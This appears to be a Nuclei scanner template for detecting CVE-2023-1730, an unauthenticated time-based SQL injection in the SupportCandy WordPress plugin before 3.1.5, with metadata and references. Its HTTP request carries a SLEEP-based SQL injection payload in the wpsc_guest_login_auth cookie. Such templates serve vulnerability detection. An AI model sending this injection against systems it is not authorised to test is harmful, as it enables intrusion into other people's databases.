id: CVE-2023-1730 info: name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection author: theamanrawat severity: critical description: | The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. remediation: Fixed in version 3.1.5 reference: - https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7 - https://wordpress.org/plugins/supportcandy/ - https://nvd.nist.gov/vuln/detail/CVE-2023-1730 - https://github.com/tanjiti/sec_profile classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-1730 cwe-id: CWE-89 epss-score: 0.04365 epss-percentile: 0.92346 cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:* metadata: verified: "true" max-request: 1 vendor: supportcandy product: supportcandy framework: wordpress tags: time-based-sqli,cve2023,cve,sqli,wpscan,wordpress,supportcandy,unauth http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body, "supportcandy")' condition: and # digest: 490a00463044022049540e10e472b0b9fbd46e893f020ebb790652a8cc95ced873435e50cc9a0e6502200746ab685e07f423bcc8a55562d3879d64bd052cba0315667f25c638b5b71d07:922c64590222798bb761d5b6d8e72950